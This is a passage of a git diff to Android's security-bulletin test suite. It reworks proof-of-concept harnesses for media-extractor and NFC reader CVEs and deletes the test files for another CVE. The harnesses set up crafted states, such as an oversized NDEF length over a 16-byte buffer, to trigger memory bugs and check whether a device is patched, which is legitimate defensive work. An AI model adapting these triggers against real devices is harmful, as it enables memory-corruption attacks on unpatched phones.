   GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
-  if (!getDef) {
-    dlclose(libHandle);
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(getDef);
 
-  int fdData = open(argv[1], O_RDONLY);
-  if (fdData < 0) {
-    dlclose(libHandle);
-    return EXIT_FAILURE;
-  }
-  int fdInfo = open(argv[2], O_RDONLY);
-  if (fdInfo < 0) {
-    close_resources(fdData, fdInfo, libHandle);
-    return EXIT_FAILURE;
-  }
+  fdData = open(argv[1], O_RDONLY);
+  FAIL_CHECK(fdData >= 0);
+
+  fdInfo = open(argv[2], O_RDONLY);
+  FAIL_CHECK(fdInfo >= 0);
 
   sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
-  if (!dataSource) {
-    close_resources(fdData, fdInfo, libHandle);
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(dataSource);
+
+  enable_selective_overload = ENABLE_ALL;
+  isTestInProgress = true;
 
   void *meta = nullptr;
   FreeMetaFunc freeMeta = nullptr;
-
   float confidence = 0.0f;
   if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
     getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
@@ -123,7 +125,7 @@
     getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
   }
 
-  close_resources(fdData, fdInfo, libHandle);
-  enable_selective_overload = ENABLE_NONE;
+  isTestInProgress = false;
+  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
   return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
index 43da25d..6ea13d6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
@@ -16,46 +16,55 @@
 
 #include <IMediaExtractor.h>
 #include <dlfcn.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <fcntl.h>
-
 #include "../includes/common.h"
 #include "../includes/memutils.h"
 
 #if _32_BIT
 #define LIBNAME "/system/lib/extractors/libmidiextractor.so"
-#define LIBNAME_APEX                                                           \
-  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so"
 #elif _64_BIT
 #define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
-#define LIBNAME_APEX                                                           \
-  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
 #endif
 
 char enable_selective_overload = ENABLE_NONE;
 
 using namespace android;
 
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+int fdData, fdInfo;
+
+void *libHandle = nullptr;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
 class XMFDataSource : public DataSource {
-public:
-  int mFdData;
-  int mFdInfo;
-  XMFDataSource(int fdData, int fdInfo) {
-    mFdData = fdData;
-    mFdInfo = fdInfo;
+   public:
+    int mFdData;
+    int mFdInfo;
+    XMFDataSource(int fdData, int fdInfo) {
+        mFdData = fdData;
+        mFdInfo = fdInfo;
   }
 
   ~XMFDataSource() = default;
 
-  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
-                         size_t size) {
-    uint32_t infoOffset, infoSize;
-    read(mFdInfo, &infoSize, sizeof(int32_t));
-    read(mFdInfo, &infoOffset, sizeof(int32_t));
-    lseek(mFdData, infoOffset, SEEK_SET);
-    read(mFdData, data, infoSize);
-    return size;
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) {
+      uint32_t infoOffset, infoSize;
+      read(mFdInfo, &infoSize, sizeof(int32_t));
+      read(mFdInfo, &infoOffset, sizeof(int32_t));
+      lseek(mFdData, infoOffset, SEEK_SET);
+      read(mFdData, data, infoSize);
+      return size;
   }
 
   virtual status_t getSize(off64_t *size) {
@@ -65,57 +74,50 @@
   virtual status_t initCheck() const { return 0; }
 };
 
-void close_resources(int fdData, int fdInfo, void *libHandle) {
-  if (fdData >= 0) {
-    ::close(fdData);
-  }
-  if (fdInfo >= 0) {
-    ::close(fdInfo);
-  }
-  if (libHandle) {
-    dlclose(libHandle);
-  }
+void close_resources() {
+    if (fdData >= 0) {
+        ::close(fdData);
+    }
+    if (fdInfo >= 0) {
+        ::close(fdInfo);
+    }
+    if (libHandle) {
+        dlclose(libHandle);
+    }
 }
 
 int main(int argc, char **argv) {
-  if (argc < 3) {
-    return EXIT_FAILURE;
-  }
-  enable_selective_overload = ENABLE_ALL;
-  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
-  if (!libHandle) {
-    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    atexit(close_resources);
+
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    FAIL_CHECK(argc == 3);
+    libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
     if (!libHandle) {
-      return EXIT_FAILURE;
-    }
+        libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+        FAIL_CHECK(libHandle);
   }
 
   GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
-  if (!getDef) {
-    dlclose(libHandle);
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(getDef);
 
-  int fdData = open(argv[1], O_RDONLY);
-  if (fdData < 0) {
-    dlclose(libHandle);
-    return EXIT_FAILURE;
-  }
-  int fdInfo = open(argv[2], O_RDONLY);
-  if (fdInfo < 0) {
-    close_resources(fdData, fdInfo, libHandle);
-    return EXIT_FAILURE;
-  }
+  fdData = open(argv[1], O_RDONLY);
+  FAIL_CHECK(fdData >= 0);
+
+  fdInfo = open(argv[2], O_RDONLY);
+  FAIL_CHECK(fdInfo >= 0);
 
   sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
-  if (!dataSource) {
-    close_resources(fdData, fdInfo, libHandle);
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(dataSource);
+
+  enable_selective_overload = ENABLE_ALL;
+  isTestInProgress = true;
 
   void *meta = nullptr;
   FreeMetaFunc freeMeta = nullptr;
-
   float confidence = 0.0f;
   if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
     getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
@@ -123,7 +125,7 @@
     getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
   }
 
-  close_resources(fdData, fdInfo, libHandle);
-  enable_selective_overload = ENABLE_NONE;
+  isTestInProgress = false;
+  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
   return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
index 700935c..5033b2e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
index 947f46a..bb3bdc2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,74 +14,116 @@
  * limitations under the License.
  */
 
+#include <../includes/common.h>
+#include <../includes/memutils.h>
 #include <nfc_int.h>
 #include <rw_int.h>
 
 #define RW_MFC_STATE_READ_NDEF 0x03
 #define RW_MFC_SUBSTATE_READ_BLOCK 0x03
+#define RW_MFC_DATA_LEN 0x10
+#define P_MFC_NDEF_LENGTH 1024
 
 extern tRW_CB rw_cb;
+tNFC_CONN *p_data = nullptr;
+tRW_MFC_CB *p_mfc = nullptr;
 
-void GKI_freebuf(void*) {
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
 }
 
-void GKI_start_timer(uint8_t, int32_t, bool) {
+void GKI_freebuf(void *) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void cback(tRW_EVENT, tRW_DATA *) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+    (void)event;
+    (void)p_rw_data;
 }
 
-void GKI_stop_timer(uint8_t) {
-}
+void exit_handler(void) {
+    if (p_data) {
+        if (p_data->data.p_data) {
+            free(p_data->data.p_data);
+            p_data->data.p_data = nullptr;
+        }
+        free(p_data);
+        p_data = nullptr;
+    }
 
-void cback(tRW_EVENT, tRW_DATA*) {
+    if (p_mfc) {
+        if (p_mfc->p_ndef_buffer) {
+            free(p_mfc->p_ndef_buffer);
+            p_mfc->p_ndef_buffer = nullptr;
+        }
+        free(p_mfc);
+        p_mfc = nullptr;
+    }
 }
 
 int main() {
-    tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    p_mfc = &rw_cb.tcb.mfc;
 
     GKI_init();
     rw_init();
 
     uint8_t selres = 1;
-    uint8_t uid[MFC_UID_LEN] = { 1 };
-    if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
-        return EXIT_FAILURE;
-    }
+    uint8_t uid[MFC_UID_LEN] = {1};
+
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);
 
     p_mfc->state = RW_MFC_STATE_READ_NDEF;
     p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;
 
-    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
 
-    tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
-    if (!p_data) {
-        return EXIT_FAILURE;
-    }
+    p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+    FAIL_CHECK(p_data);
 
-    p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
-    if (!(p_data->data.p_data)) {
-        free(p_data);
-        return EXIT_FAILURE;
-    }
+    p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16);
+    FAIL_CHECK(p_data->data.p_data);
 
     p_data->data.status = NFC_STATUS_OK;
     tNFC_CONN_EVT event = NFC_DATA_CEVT;
 
-    NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data;
-    mfc_data->len = 0x10;
+    NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data;
+    mfc_data->len = RW_MFC_DATA_LEN;
     mfc_data->offset = 0;
-    p_mfc->ndef_length = 1024;
-    p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
-    if (!(p_mfc->p_ndef_buffer)) {
-        free(p_data->data.p_data);
-        free(p_data);
-        return EXIT_FAILURE;
-    }
+    p_mfc->ndef_length = P_MFC_NDEF_LENGTH;
+    p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(p_mfc->p_ndef_buffer);
 
     rw_cb.p_cback = cback;
 
+    isTestInProgress = true;
     p_cb->p_cback(0, event, p_data);
+    isTestInProgress = false;
 
-    free(p_mfc->p_ndef_buffer);
-    free(p_data->data.p_data);
-    free(p_data);
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp
index d7650ad..152f538 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp
@@ -92,27 +92,31 @@
 }
 
 int main() {
-  tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
 
-  GKI_init();
-  rw_init();
-  rw_cb.p_cback = &poc_cback;
+    tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
 
-  uint8_t peerNfcID[NCI_RF_F_UID_LEN];
-  uint8_t mrtiCheck = 1, mrtiUpdate = 1;
-  if (rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) != NFC_STATUS_OK) {
-    return EXIT_FAILURE;
-  }
+    GKI_init();
+    rw_init();
+    rw_cb.p_cback = &poc_cback;
 
-  tNFC_CONN p_data = {};
-  NFC_HDR nfcHdr = {};
-  p_data.data.p_data = &nfcHdr;
+    uint8_t peerNfcID[NCI_RF_F_UID_LEN];
+    uint8_t mrtiCheck = 1, mrtiUpdate = 1;
+    FAIL_CHECK(rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) == NFC_STATUS_OK);
 
-  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
-  p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+    tNFC_CONN p_data = {};
+    NFC_HDR nfcHdr = {};
+    p_data.data.p_data = &nfcHdr;
 
-  uint8_t conn_id = NFC_RF_CONN_ID;
-  tNFC_CONN_EVT event = NFC_ERROR_CEVT;
-  p_cb->p_cback(conn_id, event, &p_data);
-  return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+
+    uint8_t conn_id = NFC_RF_CONN_ID;
+    tNFC_CONN_EVT event = NFC_ERROR_CEVT;
+    p_cb->p_cback(conn_id, event, &p_data);
+    return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
deleted file mode 100644
index 875a38a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- *  is used as reference to come up with file
- *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- *  retained
- */
-
-#include "TestInputListener.h"
-
-namespace android {
-
-// --- TestInputListener ---
-
-TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout,
-                                     std::chrono::milliseconds eventDidNotHappenTimeout)
-      : mEventHappenedTimeout(eventHappenedTimeout),
-        mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {}
-
-TestInputListener::~TestInputListener() {}
-
-template <class NotifyArgsType>
-void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) {
-    std::unique_lock<std::mutex> lock(mLock);
-    base::ScopedLockAssertion assumeLocked(mLock);
-
-    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
-    if (queue.empty()) {
-        const bool eventReceived =
-                mCondition.wait_for(lock, mEventHappenedTimeout,
-                                    [&queue]() REQUIRES(mLock) { return !queue.empty(); });
-        if (!eventReceived) {
-            return;
-        }
-    }
-    if (outEventArgs) {
-        *outEventArgs = *queue.begin();
-    }
-    queue.erase(queue.begin());
-}
-
-template <class NotifyArgsType>
-void TestInputListener::assertNotCalled(std::string message) {
-    std::unique_lock<std::mutex> lock(mLock);
-    base::ScopedLockAssertion assumeLocked(mLock);
-
-    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
-    const bool eventReceived =
-            mCondition.wait_for(lock, mEventDidNotHappenTimeout,
-                                [&queue]() REQUIRES(mLock) { return !queue.empty(); });
-    if (eventReceived) {
-        return;
-    }
-}
-
-template <class NotifyArgsType>
-void TestInputListener::notify(const NotifyArgsType* args) {
-    std::scoped_lock<std::mutex> lock(mLock);
-
-    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
-    queue.push_back(*args);
-    mCondition.notify_all();
-}
-
-void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) {
-    notify<NotifyConfigurationChangedArgs>(args);
-}
-
-void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) {
-    notify<NotifyDeviceResetArgs>(args);
-}
-
-void TestInputListener::notifyKey(const NotifyKeyArgs* args) {
-    notify<NotifyKeyArgs>(args);
-}
-
-void TestInputListener::notifyMotion(const NotifyMotionArgs* args) {
-    notify<NotifyMotionArgs>(args);
-}
-
-void TestInputListener::notifySwitch(const NotifySwitchArgs* args) {
-    notify<NotifySwitchArgs>(args);
-}
-
-void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) {
-    notify<NotifyPointerCaptureChangedArgs>(args);
-}
-
-void TestInputListener::notifySensor(const NotifySensorArgs* args) {
-    notify<NotifySensorArgs>(args);
-}
-
-void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) {
-    notify<NotifyVibratorStateArgs>(args);
-}
-
-} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
deleted file mode 100644
index 067ac83..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- *  is used as reference to come up with file
- *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- *  retained
- */
-
-#ifndef _UI_TEST_INPUT_LISTENER_H
-#define _UI_TEST_INPUT_LISTENER_H
-
-#include <android-base/thread_annotations.h>
-#include "InputListener.h"
-
-using std::chrono_literals::operator""ms;
-
-namespace android {
-
-// --- TestInputListener ---
-
-class TestInputListener : public InputListenerInterface {
-protected:
-    virtual ~TestInputListener();
-
-public:
-    TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms,
-                      std::chrono::milliseconds eventDidNotHappenTimeout = 0ms);
-
-    template <class NotifyArgsType>
-    void assertCalled(NotifyArgsType* outEventArgs, std::string message);
-
-    template <class NotifyArgsType>
-    void assertNotCalled(std::string message);
-
-    template <class NotifyArgsType>
-    void notify(const NotifyArgsType* args);
-
-    virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override;
-
-    virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override;
-
-    virtual void notifyKey(const NotifyKeyArgs* args) override;
-
-    virtual void notifyMotion(const NotifyMotionArgs* args) override;
-
-    virtual void notifySwitch(const NotifySwitchArgs* args) override;
-
-    virtual void notifySensor(const NotifySensorArgs* args) override;
-
-    virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override;
-
-    virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override;
-
-    std::mutex mLock;
-    std::condition_variable mCondition;
-    const std::chrono::milliseconds mEventHappenedTimeout;
-    const std::chrono::milliseconds mEventDidNotHappenTimeout;
-
-    std::tuple<std::vector<NotifyConfigurationChangedArgs>,  //
-               std::vector<NotifyDeviceResetArgs>,           //
-               std::vector<NotifyKeyArgs>,                   //
-               std::vector<NotifyMotionArgs>,                //
-               std::vector<NotifySwitchArgs>,                //
-               std::vector<NotifySensorArgs>,                //
-               std::vector<NotifyVibratorStateArgs>,         //
-               std::vector<NotifyPointerCaptureChangedArgs>> //
-            mQueues GUARDED_BY(mLock);
-};
-
-} // namespace android
-#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
deleted file mode 100644
index 13b33b6..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
+++ /dev/null
@@ -1,1236 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- *  is used as reference to come up with file
- *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- *  retained
- */
-
-#include <InputMapper.h>
-#include <InputReader.h>
-#include <InputReaderBase.h>
-#include <InputReaderFactory.h>
-#include <MultiTouchInputMapper.h>
-#include <TestInputListener.h>
-
-namespace android {
-
-using std::chrono_literals::operator""ms;
-using namespace android::flag_operators;
-
-// Timeout for waiting for an expected event
-static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms;
-
-// An arbitrary time value.
-static constexpr nsecs_t ARBITRARY_TIME = 1234;
-static constexpr nsecs_t READ_TIME = 4321;
-
-// Arbitrary display properties.
-static constexpr int32_t DISPLAY_ID = 0;
-static constexpr int32_t DISPLAY_WIDTH = 480;
-static constexpr int32_t DISPLAY_HEIGHT = 800;
-static constexpr std::optional<uint8_t> NO_PORT = std::nullopt;
-static constexpr int32_t BATTERY_STATUS = 4;
-static constexpr int32_t BATTERY_CAPACITY = 66;
-static constexpr int32_t RAW_X_MIN = 25;
-static constexpr int32_t RAW_X_MAX = 1019;
-static constexpr int32_t RAW_Y_MIN = 30;
-static constexpr int32_t RAW_Y_MAX = 1009;
-constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000;
-constexpr int32_t DEVICE_GENERATION = 2;
-
-const char* DEVICE_NAME = "device";
-const char* DEVICE_LOCATION = "USB1";
-const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0);
-constexpr int32_t EVENTHUB_ID = 1;
-const std::string UNIQUE_ID = "local:0";
-
-template <typename T>
-static inline T min(T a, T b) {
-    return a < b ? a : b;
-}
-
-// --- TestPointerController ---
-
-class TestPointerController : public PointerControllerInterface {
-    bool mHaveBounds;
-    float mMinX, mMinY, mMaxX, mMaxY;
-    float mX, mY;
-    int32_t mButtonState;
-    int32_t mDisplayId;
-
-public:
-    TestPointerController()
-          : mHaveBounds(false),
-            mMinX(0),
-            mMinY(0),
-            mMaxX(0),
-            mMaxY(0),
-            mX(0),
-            mY(0),
-            mButtonState(0),
-            mDisplayId(ADISPLAY_ID_DEFAULT) {}
-
-    virtual ~TestPointerController() {}
-
-    void setBounds(float minX, float minY, float maxX, float maxY) {
-        mHaveBounds = true;
-        mMinX = minX;
-        mMinY = minY;
-        mMaxX = maxX;
-        mMaxY = maxY;
-    }
-
-    void setPosition(float x, float y) override {
-        mX = x;
-        mY = y;
-    }
-
-    void setButtonState(int32_t buttonState) override { mButtonState = buttonState; }
-
-    int32_t getButtonState() const override { return mButtonState; }
-
-    void getPosition(float* outX, float* outY) const override {
-        *outX = mX;
-        *outY = mY;
-    }
-
-    int32_t getDisplayId() const override { return mDisplayId; }
-
-    void setDisplayViewport(const DisplayViewport& viewport) override {
-        mDisplayId = viewport.displayId;
-    }
-
-    const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; }
-
-private:
-    bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override {
-        *outMinX = mMinX;
-        *outMinY = mMinY;
-        *outMaxX = mMaxX;
-        *outMaxY = mMaxY;
-        return mHaveBounds;
-    }
-
-    void move(float deltaX, float deltaY) override {
-        mX += deltaX;
-        if (mX < mMinX) mX = mMinX;
-        if (mX > mMaxX) mX = mMaxX;
-        mY += deltaY;
-        if (mY < mMinY) mY = mMinY;
-        if (mY > mMaxY) mY = mMaxY;
-    }
-
-    void fade(Transition) override {}
-
-    void unfade(Transition) override {}
-
-    void setPresentation(Presentation) override {}
-
-    void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits,
-                  int32_t displayId) override {
-        std::vector<int32_t> newSpots;
-        // Add spots for fingers that are down.
-        for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) {
-            uint32_t id = idBits.clearFirstMarkedBit();
-            newSpots.push_back(id);
-        }
-
-        mSpotsByDisplay[displayId] = newSpots;
-    }
-
-    void clearSpots() override {}
-
-    std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay;
-};
-
-// --- TestInputReaderPolicy---
-
-class TestInputReaderPolicy : public InputReaderPolicyInterface {
-    std::mutex mLock;
-    std::condition_variable mDevicesChangedCondition;
-
-    InputReaderConfiguration mConfig;
-    std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers;
-    std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock);
-    bool mInputDevicesChanged GUARDED_BY(mLock){false};
-    std::vector<DisplayViewport> mViewports;
-    TouchAffineTransformation transform;
-
-protected:
-    virtual ~TestInputReaderPolicy() {}
-
-public:
-    TestInputReaderPolicy() {}
-
-    virtual void clearViewports() {
-        mViewports.clear();
-        mConfig.setDisplayViewports(mViewports);
-    }
-
-    std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const {
-        return mConfig.getDisplayViewportByUniqueId(uniqueId);
-    }
-    std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const {
-        return mConfig.getDisplayViewportByType(type);
-    }
-
-    std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const {
-        return mConfig.getDisplayViewportByPort(displayPort);
-    }
-
-    void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation,
-                            bool isActive, const std::string& uniqueId,
-                            std::optional<uint8_t> physicalPort, ViewportType viewportType) {
-        const DisplayViewport viewport =
-                createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId,
-                                      physicalPort, viewportType);
-        mViewports.push_back(viewport);
-        mConfig.setDisplayViewports(mViewports);
-    }
-
-    bool updateViewport(const DisplayViewport& viewport) {
-        size_t count = mViewports.size();
-        for (size_t i = 0; i < count; i++) {
-            const DisplayViewport& currentViewport = mViewports[i];
-            if (currentViewport.displayId == viewport.displayId) {
-                mViewports[i] = viewport;
-                mConfig.setDisplayViewports(mViewports);
-                return true;
-            }
-        }
-        // no viewport found.
-        return false;
-    }
-
-    void addExcludedDeviceName(const std::string& deviceName) {
-        mConfig.excludedDeviceNames.push_back(deviceName);
-    }
-
-    void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) {
